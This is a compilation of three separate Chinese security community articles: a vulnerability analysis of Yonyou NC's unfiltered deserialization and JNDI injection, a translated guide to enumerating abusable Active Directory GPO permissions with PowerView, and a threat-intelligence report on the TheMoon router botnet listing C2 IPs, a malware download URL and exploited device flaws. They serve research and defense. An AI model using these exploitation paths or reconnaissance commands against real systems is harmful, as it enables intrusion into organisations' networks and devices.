译文仅供参考，具体内容表达以及含义原文为准。
## 0x00前言
这个漏洞是[ 国家电网公司信息与网络安全重点实验室
](https://mp.weixin.qq.com/s/eF1v4iYE4T_NqmztM3i6TA)发现的，并在公众号上写了比较详细的分析，但是没有给出具体的poc。现在微信公众号已经将文章删除，但其他的安全公众号仍留有记录，看了一下分析过程，故想要跟着分析漏洞成因，编写poc，因此才有了这一篇分析文章。
## 0x01分析过程
### 1.客户端分析
访问<http://ip:port/index.jsp>
会提示有两种方法登录系统，一种是通过下载客户端、一种是使用浏览器访问。因为，浏览器访问的方式需要依赖不同用户设备上的java版本，IE浏览器，系统配置等环境因素，使用起来不是很方便，所以为了解决这些问题，用友提供了系统专用的UClient浏览器，可直接通过该浏览器访问nc而无需安装配置任何东西。
下载NClient并安装后，进入启动页面，可以选择 **添加应用** 。添加完后，在安装目录中可以看到所安装的应用。
点击app.esc发现直接启动了nc客户端，查看文件内容，发现执行了NClogin65.jar文件中的nc.starter.test.JStarter：
反编译NClogin65.jar，查看nc.starter.test.JStarter，调用nc.starter.ui.NCLauncher#main主要是与远程服务端通信，生成uI之类的操作。主要的通信代码并不在该jar包，继续在目录中寻找。
在nc_client_homeNCCACHECODE目录的子目录中有很多的jar包，其中external目录上的jar包是客户端通信的逻辑代码。
随便点了一两个包，发现类还不少，如果逐个看的话很耗费时间，效率还不高，看了分析的文章发现用javaagent把调用的类都打印出来的方法可以解决这个问题，具体原理感兴趣的可以去网上搜索相关的文章，具体可以代码可以参考[javaagent项目中使用](https://www.cnblogs.com/Java-Script/p/11089314.html)。
之前在app.esc文件中可以看到启动jar的jvm配置信息，加上我们的javaagent的jar包，这样才能正常加载自己的javaagent。
启动后可以看到把所有调用的类都输出出来了。
这里可以配合idea的远程调试，添加参数jdwp：
-agentlib:jdwp=transport=dt_socket,server=y,address=8000
打开客户端，随便输入账号密码点击登录后，查看log可以看到有login字眼的类：
找到对应的nc.login.ui.LoginUISupport类，这个类方法很多，我一开始想的是通过一般登录都是带有request，response的，所以我就搜了request的关键字，在一个看起来比较像处理登录请求的方法下了断点，点击登录后果然是在这个地方断下来了。该方法主要是将输入的用户名、密码等值，在requestd类的变量赋值。
执行getInstance(),获取NCLocator的实例，并执行实例的lookup方法。
跟进`nc.bs.framework.common.NCLocator#getInstance(java.util.Properties)`
刚启动的时候locatorMap为空，则会在下面的判断分支中，创建RmiNCLocator实例并将该实例存放到locatorMap中。
locator = (NCLocator)locatorMap.get(key);
if (locator != null) {
return locator;
} else {
if (!isEmpty(locatorProvider)) {
locator = newInstance(locatorProvider);
} else if (!isEmpty(svcDispatchURL)) {
locator = newInstance("nc.bs.framework.rmi.RmiNCLocator");
} else {
locator = getDefaultLocator();
}
locator.init(props);
locatorMap.put(key, locator);
return locator;
}
获取到RmiNCLocator实例后，跟进到lookup方法：
//nc.bs.framework.rmi.RmiNCLocator#lookup
public Object lookup(String name) throws ComponentException {
Object result = null;
try {
result = this.remoteContext.lookup(name);
return result;
} catch (Throwable var4) {
if (var4 instanceof FrameworkRuntimeException) {
throw (FrameworkRuntimeException)var4;
} else {
throw new ComponentException(name, "Component resolve exception ", var4);
}
}
}
调用了`this.remoteContext.lookup(name);`,继续跟进：
//nc.bs.framework.rmi.RemoteContextStub#lookup
public Object lookup(String name) {
Object so = this.proxyMap.get(name);
if (so != null) {
return so;
} else {
ComponentMetaVO metaVO = this.getMetaOnDemand(name);
if (metaVO == null) {
throw new ComponentNotFoundException(name, "no remote componnet found from server");
} else {
so = this.proxyMap.get(metaVO.getName());
if (so != null) {
return so;
} else {
RemoteAddressSelector ras = new GroupBasedRemoteAddressSelector(this.getRealTarget(metaVO), this.getServerGroup(metaVO));
so = RemoteProxyFactory.getDefault().createRemoteProxy(RemoteContextStub.class.getClassLoader(), metaVO, ras);
this.proxyMap.put(metaVO.getName(), so);
return so;
}
}
}
}
可以看到先从proxyMap中查看是否存在参数name的方法，如果存在则直接返回，不存在则进入另外的分支。因为这里我是刚启动的，所以该方法是不存在的，也可以直接将so赋值为null，进去到下面的分支。
跟进`nc.bs.framework.rmi.RemoteContextStub#getMetaOnDemand`,又可以看到调用了`this.remoteMetaContext.lookup(name);`方法，这个变量remoteMetaContext是`nc.bs.framework.server.RemoteMetaContext`类，那么这个类是怎么来的呢？
这里可以去看`nc.bs.framework.rmi.RemoteContextStub#RemoteContextStub`的构造函数，第65行创建了一个代理，并赋值到`this.remoteMetaContext`：
了解java代理的都知道不管用户调用代理对象的任何方法，该方法都会调用处理器(即Proxy.newProxyInstance()的第三个参数)的invoke方法，这里即是`nc.bs.framework.rmi.RemoteInvocationHandler#invoke`。不懂的可以先看[这里](https://www.cnblogs.com/xdp-gacl/p/3971367.html)。
那么现在回到上面，跟进`this.remoteMetaContext.lookup(name);`，果然进入到了invoke方法。经过一番判断
执行this.sendRequest(method, args)方法。
//nc.bs.framework.rmi.RemoteInvocationHandler#sendRequest(java.lang.reflect.Method, java.lang.Object[])
public Object sendRequest(Method method, Object[] args) throws Throwable {
InvocationInfo ii = this.newInvocationInfo(method, args);
Address old = null;
int retry = 0;
ConnectorFailException error = null;
do {
Address target = this.ras.select();
if (old != null) {
Logger.error("connect to: " + old + " failed, now retry connect to: " + target);
if (old.equals(target)) {
try {
Thread.sleep(this.retryInterval);
} catch (Exception var13) {
}
}
}
this.restoreToken(ii, target);
try {
Object var8 = this.sendRequest(target, ii, method, args);
return var8;
} catch (ConnectorFailException var14) {
++retry;
old = target;
error = var14;
} finally {
this.storeToken(ii, target);
}
} while(retry < this.retryMax);
throw error;
}
继续跟进`this.sendRequest(target, ii, method,
args);`,在第182行将ii序列化输出，发送到<http://server:port/ServiceDispatcherServlet>
，并获取服务端返回的结果反序列化，回显到客户端。
到此客户端的处理流程大致分析完成，看到这里大家可能有会对上面客户端将类序列化发往服务端，那服务端肯定要反序列化呀，会不会有问题？
### 2.服务端分析
先来分析jndi注入的形成
在`nc.bs.framework.comn.serv.CommonServletDispatcher#doPost`第38行下断点。
跟进`this.rmiHandler.handle(new HttpRMIContext(request,
response));`,跟进后在第85行继续跟进`this.doHandle(rmiCtx);`。
在第153行出现处理客户端提交内容的，继续跟进：
在第282行可以看到直接将输入流的内容反序列化了，代码执行过程中完全没有任何的过滤，确实存在触发反序列化漏洞，这里先不管，继续往下。
这里注意的是第286行将反序列化后的类赋予到抽象类`nc.bs.framework.rmi.server.AbstractRMIContext#invInfo`的invInfo变量里，这个变量在下面用到。
回到刚才的第二个断点，跟进`result.result =
this.invokeBeanMethod(rmiCtx);`,这里第333行就是上面说到的invinfo变量，实际就是反序列化后的类。
这里有两个分支，不管是哪个都存在jndi注入，因为这里lookup的参数service是可控的，所以必然存在漏洞。
### 3.效果演示
这里就不给poc了，如果看懂了上面的过程其实也不难，实际就是构造一个InvocationInfo类，并将servicename的值设置为远程恶意类，序列化后发送到服务端触发jndi注入即可。
### 4.前面的反序列化
上面发现的反序列化根本都没有过滤的，为啥还要这么麻烦要jndi注入呢，直接反序列化不香嘛？看了web的依赖环境，commons-collections3.2，那不是现成的利用嘛。
直接ysoserial生成恶意类发送，弹计算器。
整个调用栈如下:
## 0X02 最后说几句
漏洞过程并不是太复杂，应该不难理解的。因第一次写文章且本人水平有限，故有错误的地方望大佬们扶正，手下留情。
## 0X03参考链接
* <https://mp.weixin.qq.com/s/eF1v4iYE4T_NqmztM3i6TA>
* <https://nosec.org/home/detail/4472.html>
* <https://www.cnblogs.com/Java-Script/p/11089314.html>
* <https://xz.aliyun.com/t/7079>
* <https://www.cnblogs.com/xdp-gacl/p/3971367.html> | 社区文章 |
链接：<https://rastamouse.me/2019/01/gpo-abuse-part-1/>
# 摘要
我很早就萌生出了写一篇关于组策略对象(GroupPolicyObjects，GPO)的文章的想法，我现在很开心终于把这个想法写了出来。
如果你对GPO还不太熟悉，我强烈建议您去阅读[ Andy Robbins](https://twitter.com/_wald0 " Andy
Robbins")写的 [A Red Teamer’s Guide to GPOs and
OUs](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e "A Red Teamer’s Guide to GPOs and
OUs")。他概述了GPO的工作原理以及如何使用BloodHound查找基于GPO控制的攻击路径，并解释了执行这些攻击的几种方法。
在利用GPO进行攻击方面，Will Schroeder取得了一些进展，他发表了一篇[Abusing GPO Permissions
](http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/ "Abusing GPO
Permissions ")文章并并在Powerview中实现New-GPO
ImmediateTask，然而，这个功能后来随着以下措施而变得[不可用](https://www.harmj0y.net/blog/powershell/make-powerview-great-again/ "不可用")：
|inconsistent and better done manually
这一系列博客文章的目的是展示如何将滥用GPO的方式一一枚举出来; 并将其用于权限提升和持久性目的。
# 枚举
我们可能需要关注一些特别的权限。首先在我脑海中浮现的是：
谁可以在域中创建新GPO。
谁可以将GPO链接到哪些OU。
谁可以修改现有GPO（当前可能存在链接也可能不存在链接）。
我之所以能想到这些是因为每个权限都是被单独委派的。
委派创建GPOs的权限并不会委派将它们链接到OU的权限。
用户可能可以修改现有的GPO，但它可能是未链接的，他们自己也不能链接它。
或者用户可能无法修改GPO，但可以将其链接到另一个OU。
因此，您所拥有的权限组合将取决于您如何实现这种滥用。
# 创建GPO
在组策略管理控制台(GPMC)中，在域中创建GPO的委派权限如下所示：
可以通过以下方法轻松枚举PowerView：
PS > Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=testlab,DC=local" -ResolveGUIDs | Where-Object { $_.ObjectAceType -eq "Group-Policy-Container" }
AceQualifier : AccessAllowed
ObjectDN : CN=Policies,CN=System,DC=testlab,DC=local
ActiveDirectoryRights : CreateChild <--- CreateChild just means "Create GPO" in this context
ObjectAceType : Group-Policy-Container
ObjectSID :
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-407754292-3742881058-3910138598-1106 <--- SID of the user/group
AccessMask : 1
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
PS > Convert-SidToName S-1-5-21-407754292-3742881058-3910138598-1106
LAB\Desktop Admins
# GP-链接
Get-DomainOU显示AD中的所有Organizational Units。在这里，我们只有默认域控制器(Domain
Controllers)OU和自定义工作站(Workstations)OU。
PS > Get-DomainOU
usncreated : 6031
systemflags : -1946157056
iscriticalsystemobject : True
gplink : [LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=testlab,DC=local;0] <--- GUID(s) of GPO(s) already linked to the OU
whenchanged : 06/01/2019 13:14:24
objectclass : {top, organizationalUnit}
showinadvancedviewonly : False
usnchanged : 6031
dscorepropagationdata : {06/01/2019 13:15:24, 01/01/1601 00:00:01}
name : Domain Controllers
description : Default container for domain controllers
distinguishedname : OU=Domain Controllers,DC=testlab,DC=local
ou : Domain Controllers
whencreated : 06/01/2019 13:14:24
instancetype : 4
objectguid : d312c411-7c7c-4fb7-b4f9-cbf0637b551f
objectcategory : CN=Organizational-Unit,CN=Schema,CN=Configuration,DC=testlab,DC=local
usncreated : 12790
name : Workstations
gplink : [LDAP://cn={7DD7A136-334C-47C1-8890-D9766D449EFA},cn=policies,cn=system,DC=testlab,DC=local;0] <--- GUID(s) of GPO(s) already linked to the OU
whenchanged : 07/01/2019 07:18:51
objectclass : {top, organizationalUnit}
usnchanged : 13118
dscorepropagationdata : {07/01/2019 07:18:51, 07/01/2019 07:17:22, 07/01/2019 07:14:37, 06/01/2019 13:52:27...}
distinguishedname : OU=Workstations,DC=testlab,DC=local
ou : Workstations
whencreated : 06/01/2019 13:28:56
instancetype : 4
objectguid : 4f733ab3-1809-4a31-b299-e07a3b7b4669
objectcategory : CN=Organizational-Unit,CN=Schema,CN=Configuration,DC=testlab,DC=local
Active
Directory用户和计算机中的控制委派向导(ADUC)具有用于“管理组策略链接”的预定义模板。这对于将不同类型的特权委托给特定对象的主体非常有用。
在此示例中，我们将此委托给lab\Desktop Admins组。
这也很容易在Powerview中通过管道Get-DomainOu到Get-DomainObjectAcl并查找GP-Link ACE来进行枚举。
PS > Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object { $_.ObjectAceType -eq "GP-Link" }
AceQualifier : AccessAllowed
ObjectDN : OU=Workstations,DC=testlab,DC=local <--- The OU Distinguished Name
ActiveDirectoryRights : ReadProperty, WriteProperty <--- WriteProperty (GP-Link is a property on the OU object that you can see in the Attribute Editor of ADUC)
ObjectAceType : GP-Link
ObjectSID :
InheritanceFlags : ContainerInherit <--- This will be interesting later
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-407754292-3742881058-3910138598-1106 <--- SID of the user/group
AccessMask : 48
AuditFlags : None
IsInherited : False
AceFlags : ContainerInherit
InheritedObjectAceType : All
OpaqueLength : 0
# 修改GPO
我们还可以将get-DomainGPO管道插入get-DomainObjectAcl，以确定哪些主体可以对其进行修改。在这里，我们查找与WriteProperty、WriteDacl或WriteOwner匹配的ActiveDirectoryRights。(在大多数情况下，我们只希望找到WriteProperty，但是拥有WriteDacl或WriteOwner将允许我们将WriteProperty授予自己并修改GPO)。
我们为SecurityIdentifier添加了一个match，因此我们只列出RID>1000，以避免在每个GPO中看到Domain
Admins和Enterprise Admins。
PS > Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match "WriteProperty|WriteDacl|WriteOwner" -and $_.SecurityIdentifier -match "S-1-5-21-407754292-3742881058-3910138598-[\d]{4,10}" }
AceType : AccessAllowed
ObjectDN : CN={7DD7A136-334C-47C1-8890-D9766D449EFA},CN=Policies,CN=System,DC=testlab,DC=local
ActiveDirectoryRights : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
OpaqueLength : 0
ObjectSID :
InheritanceFlags : None
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-407754292-3742881058-3910138598-1105 <--- SID of the user/group
AccessMask : 983295
AuditFlags : None
AceFlags : None
AceQualifier : AccessAllowed
AceType : AccessAllowed
ObjectDN : CN={7DD7A136-334C-47C1-8890-D9766D449EFA},CN=Policies,CN=System,DC=testlab,DC=local
ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, GenericExecute
OpaqueLength : 0
ObjectSID :
InheritanceFlags : ContainerInherit
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-407754292-3742881058-3910138598-1109 <--- SID of the user/group
AccessMask : 131127
AuditFlags : None
AceFlags : ContainerInherit
AceQualifier : AccessAllowed
PS > Get-DomainGPO | Where-Object { $_.DistinguishedName -eq "CN={7DD7A136-334C-47C1-8890-D9766D449EFA},CN=Policies,CN=System,DC=testlab,DC=local" } | Select-Object DisplayName
displayname
----------- Workstation Policy
如GPMC的Details选项卡中所示，lab\bwall ace是此名为Workstation Policy的GPO的owner。
GPO的创建者会自动获得Edit settings, delete, modify
security权限，具体包括CreateChild、DeleteChild、Self、WriteProperty、DeleteTree、Delete、GenericRead、WriteDacl、WriteOwner。
在此示例中，lab\tlockhart获得了Edit
settings权限，即CreateChild、DeleteChild、ReadProperty、WriteProperty、GenericExecute。
# 映射GPO和OU
这可以从几个不同的角度进行。您可能有一个有趣的GPO，并想知道单个GPO适用于哪些OU和/或计算机；您可能希望列出应用于特定OU的每个GPO；或者您可能希望列出适用于特定计算机的每个GPO。
# By computer
在这里，我们列出了应用于ws-1.testlab.local的每个GPO-仅显示名称和GUID名称。
PS > Get-DomainGPO -ComputerIdentity ws-1 -Properties Name, DisplayName
displayname name
----------- ---- Demo GPO {ECB75201-82D7-49F3-A0E0-86788EE7DC36}
Workstation Policy {7DD7A136-334C-47C1-8890-D9766D449EFA}
Default Domain Policy {31B2F340-016D-11D2-945F-00C04FB984F9}
GPO有点滑稽，因为它们有一个显示名称、GUID名称和一个对象GUID。后两者特别容易混淆。
# By GPO
在这里，我们列出Demo GPO适用的每个OU 。我们在GPLink搜索过滤器中使用GUID名称。
PS > Get-DomainOU -GPLink "{ECB75201-82D7-49F3-A0E0-86788EE7DC36}" -Properties DistinguishedName
distinguishedname
----------------- OU=Domain Controllers,DC=testlab,DC=local
OU=Workstations,DC=testlab,DC=local
如果您随后需要知道这些OU中有哪些计算机，您可以使用执行此操作：
PS > Get-DomainComputer -SearchBase "LDAP://OU=Workstations,DC=testlab,DC=local" -Properties DistinguishedName
distinguishedname
----------------- CN=WS-1,OU=Workstations,DC=testlab,DC=local
CN=WS-2,OU=Workstations,DC=testlab,DC=local
CN=WS-3,OU=Workstations,DC=testlab,DC=local
# By OU
如果我们获得Workstation
OU的GPLink属性(它告诉我们链接到它的每个GPO)，结果将作为一个文本字符串返回，这意味着我们不能直接将其插入Get-DomainGPO并找到它们对应的显示名称。
PS > Get-DomainOU -Identity "Workstations" -Properties GPLink
gplink
------ [LDAP://cn={ECB75201-82D7-49F3-A0E0-86788EE7DC36},cn=policies,cn=system,DC=testlab,DC=local;0][LDAP://cn={7DD7A136-334C-47C1-8890-D9766D449EFA},cn=policies,cn=system,DC=test...
相反，我们可以这样做：
PS > $GPLink = (Get-DomainOU -Identity "Workstations" -Properties GPLink).gplink
PS > [Regex]::Matches($GPLink, '(?<={)(.*?)(?=})') | Select-Object -ExpandProperty Value | ForEach-Object { Get-DomainGPO -Identity "{$_}" -Properties DisplayName }
displayname
----------- Demo GPO
Workstation Policy
您可能会注意到，在这些示例中，有些通过继承返回包含的GPOs(例如默认域策略)，而有些则不返回。
# 继承
我发现继承非常有趣，特别是涉及到控件向导的委托时。认情况下，它将启用此对象和所有降序对象（This object and all descending
objects）的继承。
PS > Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object { $_.ObjectAceType -eq "GP-Link" }
AceQualifier : AccessAllowed
ObjectDN : OU=Workstations,DC=testlab,DC=local
ActiveDirectoryRights : ReadProperty, WriteProperty
ObjectAceType : GP-Link
ObjectSID :
InheritanceFlags : ContainerInherit <--- BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-407754292-3742881058-3910138598-1106
AccessMask : 48
AuditFlags : None
IsInherited : False <--- This OU *is not* inheriting from elsewhere
AceFlags : ContainerInherit <--- InheritedObjectAceType : All
OpaqueLength : 0
如果我们随后在此OU中创建了一个新的OU，Lab\Desktop管理员将继承该OU上相同的GP-Link权限。
AceQualifier : AccessAllowed
ObjectDN : OU=DAs,OU=Workstations,DC=testlab,DC=local <--- DA OU is a child of Workstation OU
ActiveDirectoryRights : ReadProperty, WriteProperty
ObjectAceType : GP-Link
ObjectSID :
InheritanceFlags : ContainerInherit <--- BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-407754292-3742881058-3910138598-1106
AccessMask : 48
AuditFlags : None
IsInherited : True <--- This OU *is* inheriting
AceFlags : ContainerInherit, Inherited <--- InheritedObjectAceType : All
OpaqueLength : 0
如果我们将WorkstationsOU 上的继承手动修改为This object only，新ACL将如下所示：
AceQualifier : AccessAllowed
ObjectDN : OU=Workstations,DC=testlab,DC=local
ActiveDirectoryRights : ReadProperty, WriteProperty
ObjectAceType : GP-Link
ObjectSID :
InheritanceFlags : None <--- BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-407754292-3742881058-3910138598-1106
AccessMask : 48
AuditFlags : None
IsInherited : False <--- AceFlags : None <--- InheritedObjectAceType : All
OpaqueLength : 0
最后，如果您有这样的嵌套子对象：
DA OU将从Workstations和 Admins继承。因此，我们在Workstations上为Lab\Desktop
Admins委派了一个权限，在管Admins上为Lab\Team 2委派了一个权限-DA OU将继承这两个权限。
AceQualifier : AccessAllowed
ObjectDN : OU=Workstations,DC=testlab,DC=local
ActiveDirectoryRights : ReadProperty, WriteProperty
ObjectAceType : GP-Link
ObjectSID :
InheritanceFlags : ContainerInherit
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-407754292-3742881058-3910138598-1106
AccessMask : 48
AuditFlags : None
IsInherited : False
AceFlags : ContainerInherit
InheritedObjectAceType : All
OpaqueLength : 0
AceQualifier : AccessAllowed
ObjectDN : OU=Admins,OU=Workstations,DC=testlab,DC=local
ActiveDirectoryRights : ReadProperty, WriteProperty
ObjectAceType : GP-Link
ObjectSID :
InheritanceFlags : ContainerInherit
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-407754292-3742881058-3910138598-1110
AccessMask : 48
AuditFlags : None
IsInherited : False
AceFlags : ContainerInherit
InheritedObjectAceType : All
OpaqueLength : 0
AceQualifier : AccessAllowed
ObjectDN : OU=Admins,OU=Workstations,DC=testlab,DC=local
ActiveDirectoryRights : ReadProperty, WriteProperty
ObjectAceType : GP-Link
ObjectSID :
InheritanceFlags : ContainerInherit
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-407754292-3742881058-3910138598-1106
AccessMask : 48
AuditFlags : None
IsInherited : True
AceFlags : ContainerInherit, Inherited
InheritedObjectAceType : All
OpaqueLength : 0
AceQualifier : AccessAllowed
ObjectDN : OU=DAs,OU=Admins,OU=Workstations,DC=testlab,DC=local
ActiveDirectoryRights : ReadProperty, WriteProperty
ObjectAceType : GP-Link
ObjectSID :
InheritanceFlags : ContainerInherit
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-407754292-3742881058-3910138598-1110
AccessMask : 48
AuditFlags : None
IsInherited : True
AceFlags : ContainerInherit, Inherited
InheritedObjectAceType : All
OpaqueLength : 0
AceQualifier : AccessAllowed
ObjectDN : OU=DAs,OU=Admins,OU=Workstations,DC=testlab,DC=local
ActiveDirectoryRights : ReadProperty, WriteProperty
ObjectAceType : GP-Link
ObjectSID :
InheritanceFlags : ContainerInherit
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-407754292-3742881058-3910138598-1106
AccessMask : 48
AuditFlags : None
IsInherited : True
AceFlags : ContainerInherit, Inherited
InheritedObjectAceType : All
OpaqueLength : 0
我想现在已经够多的了！在下一部分中，我们将从一些滥用行为开始。 | 社区文章 |
# TheMoon : 一个僵尸网络的老皇历和新变种
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> TheMoon 是一个恶意代码家族的代号。早在2014年2月，该恶意代码家族就引起了安全研究人员的普遍关注。在当时，TheMoon是一个针对
> Linksys 路由器的、有类似蠕虫式传播行为的僵尸网络。由于其感染传播能力较强，安全社区里的讨论较多。
2014～2017年期间，又陆续有各安全厂商对TheMoon恶意代码家族做了分析。报告反应了当时 TheMoon 家族的演化情况。
从2017年开始，我们也对 TheMoon 家族做了持续跟踪，并注意到以下的新发现：
* 感染阶段： TheMoon 集成了最近的一组漏洞利用代码，提高其感染能力；
* 运营阶段： TheMoon 的代理网络，由正向代理改为反向代理，避免被安全研究人员探测度量；
* 样本特征： TheMoon 开始使用压缩外壳，提高安全研究人员分析的难度
下文仅仅是我们对 TheMoon 恶意代码家族监控结果的概括描述，详细的技术分析文档可见 [TheMoon-botnet.pdf](http://blog.netlab.360.com/file/TheMoon-botnet.pdf)
## 2017年以前的 TheMoon
2014-02-13 ，这是我们能查到的 TheMoon 相关最早记录。当时，SANS 安全研究机构的博士 Johannes B. Ullrich
[报告发现](https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Captured/17630)
了该恶意代码，并在随后给出了[更新](https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633)
。TheMoon家族的一些关键特点，在最初被发现的这个阶段就已经确定下来了：
* 攻击目标：最初是 Linksys E1000 系列路由器，后续发展也是以 IoT 设备、特别是家用路由器为主。设备目标常见是 MIPS 架构
* 蠕虫式的感染传播：被感染的设备，会在一个较短的时间窗口期内提供二进制下载。这种蠕虫式的感染，这使得其传播能力大大增强
* 简单的自我保护：会设定 iptables 规则限制漏洞利用端口的访问，仅允许作者控制的几个IP地址所在地址段访问，减少被其他攻击者利用相同漏洞的风险
* 命名来源：样本文件内嵌了几张图片，加上文件中的一些其他字符串 “lunar”, “moon”, “planets”，这些共同的信息指向一部2009年的电影 [“Moon”](http://www.imdb.com/title/tt1182345/)，这是这个家族被命名为 TheMoon 的原因。
由于该恶意代码家族被定位是蠕虫，这引起了安全社区的广泛讨论。几天之内，相关的设备漏洞和利用代码就被各大安全厂商收录，例如
[securityfocus](https://www.securityfocus.com/bid/65585)，
[packetstormsecurity](https://packetstormsecurity.com/files/125253),
[flexerasoftware](https://secuniaresearch.flexerasoftware.com/advisories/56994)，
[vulnerabilitycenter](https://www.vulnerabilitycenter.com/#!vul=43986)，
[exploit-db](https://www.exploit-db.com/exploits/31683/)， [IBM
X-force](https://exchange.xforce.ibmcloud.com/vulnerabilities/91196?spm=0.0.0.0.SsE6B5)，等等。
2015-07-16，阿里安全的谢君，在
[解密“智魁”攻击行动——针对路由器蠕虫攻击事件分析报告](https://security.alibaba.com/blog/blog?id=26&type=security)
中，分析了该恶意代码家族当时的变种。这个阶段 TheMoon 家族表现出来的新特征包括：
* socks代理：开始利用被感染节点搭建 Socks 代理网络；上述代理网络是主动式的，被感染节点上开启的代理节点有特征可循，文章中根据该特征，对全网扫描并给出了度量；
* 感染手段：开始使用华硕路由器漏洞 [CVE-2014-9583](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9583)，UDP 9999 ，以及 [TP-Link路由器漏洞](https://sekurak.pl/tp-link-httptftp-backdoor/?spm=0.0.0.0.aOpRH8)。2014年版本所使用的原有 Linksys 漏洞仍然在利用。
* 文中还列出了若干打码后的 C2 服务器IP地址
虽然文章中通篇没有提及 TheMoon 的名字，但是恶意代码的二进制特征一致，可以判定是 TheMoon
家族。另外，文章中还将攻击行为追溯到具体人，但是这部分的归因过程没有给出具体分析过程，故而这部分的结论待考。
2016-10-20 Fortinet 的 Bing Liu 在 [TheMoon A P2P botnet targeting Home
Routers](https://blog.fortinet.com/2016/10/20/themoon-a-p2p-botnet-targeting-home-routers) 中分析了当时的 TheMoon 恶意代码变种。文中提及了一些新特性：
* P2P 特性：代码中集成了P2P 特性（但不成熟，也未启用）
* C2通信协议：详细的分析了恶意代码的 C2 通信协议
* 下载服务器：hxxp://78.128.92.137/.nttpd
* 若干硬编码的 NTP IP 地址：
* 207.46.232.182 (未显式标注)
* 82.68.206.125
* 194.25.252.5
* 129.6.15.28
* 129.6.15.28
* 若干硬编码的 C2 IP 地址：
* 185.53.8.22 (未显式标注)
* 185.56.30.189
* 217.79.182.212
* 85.114.135.20
* 95.213.143.220
* 46.148.18.154
值得一提是，尽管这份恶意代码中集成了 P2P 特性，但相关代码是不成熟的，未能遵循应用密码学最佳实践，存在被接管的可能性。这部分代码特性并未启用，作者与
bot 的通信仍主要主要基于硬编码的 C2 IP 地址。
## 2017年以来我们观测到的 TheMoon 家族
从 2017年4月 以来，我们开始持续观察到 TheMoon 家族。我们监控到的新变化包括：
* 样本特征：TheMoon 开始使用压缩外壳，提高安全研究人员分析的难度
* 感染手段：集成了至少 6 种 IoT 设备漏洞利用手段，扩大感染基数
* 代理网络：从正向改为反向。感染节点通过咨询上联节点得知需要访问的网页和参数，感染节点上不再直接开放端口。这样我们也无法通过全网扫描的方式来度量僵尸网络的规模。
* 代理流量：代理网络中流传的流量大致分为有明文和密文两部分，流量均不高。明文部分，经人肉筛选，和色情、赌博、挖矿等内容有关，另有一小部分看起来像门户网站；密文部分的流量推测与电商或者在线邮箱有关。时间分布不明显，似乎24小时都有流量发生。
* P2P 机制：仍然存在，仍然存在被接管可能，仍然没有启用
C2 IP 地址方面，我们累计观察到以下 IP 地址被攻击者以年为单位长期占用：
* 149.202.211.227
* 173.208.219.26
* 173.208.219.42
* 173.208.219.50
* 173.208.219.58
* 185.53.8.22
* 185.56.30.189
* 185.56.30.189
* 208.110.66.34
* 217.79.182.212
* 46.148.18.154
* 69.197.128.34
* 85.114.135.20
* 91.215.158.118
* 95.213.143.220
值得一提的是之前其他文章中披露的 C2 IP 地址已经被作者放弃使用，但是 185.53.8.22 这个IP地址没有被显式披露，作者就一直使用并未放弃。
感染过程中至少使用了6种 IoT 设备漏洞利用，相关的设备类型和漏洞利用如下：
* Linksys E-series 的 [漏洞利用](https://www.exploit-db.com/exploits/31683/) ，这是 2014 年首次被批露时使用的漏洞
* ASUS WRT UDP 9999的 [漏洞利用](https://github.com/jduck/asus-cmd)，这是 TheMoon从2015年至2017年主要使用的漏洞利用
* D-Link 850L的 [漏洞利用](https://blogs.securiteam.com/index.php/archives/3364)
* D-Link 815的 [漏洞利用](https://github.com/Cr0n1c/dlink_shell_poc/blob/master/dlink_auth_rce)
* VIVOTEK Network Cameras的 [漏洞利用](http://blog.cal1.cn/post/An%20easy%20way%20to%20pwn%20most%20of%20the%20vivotek%20network%20cameras)
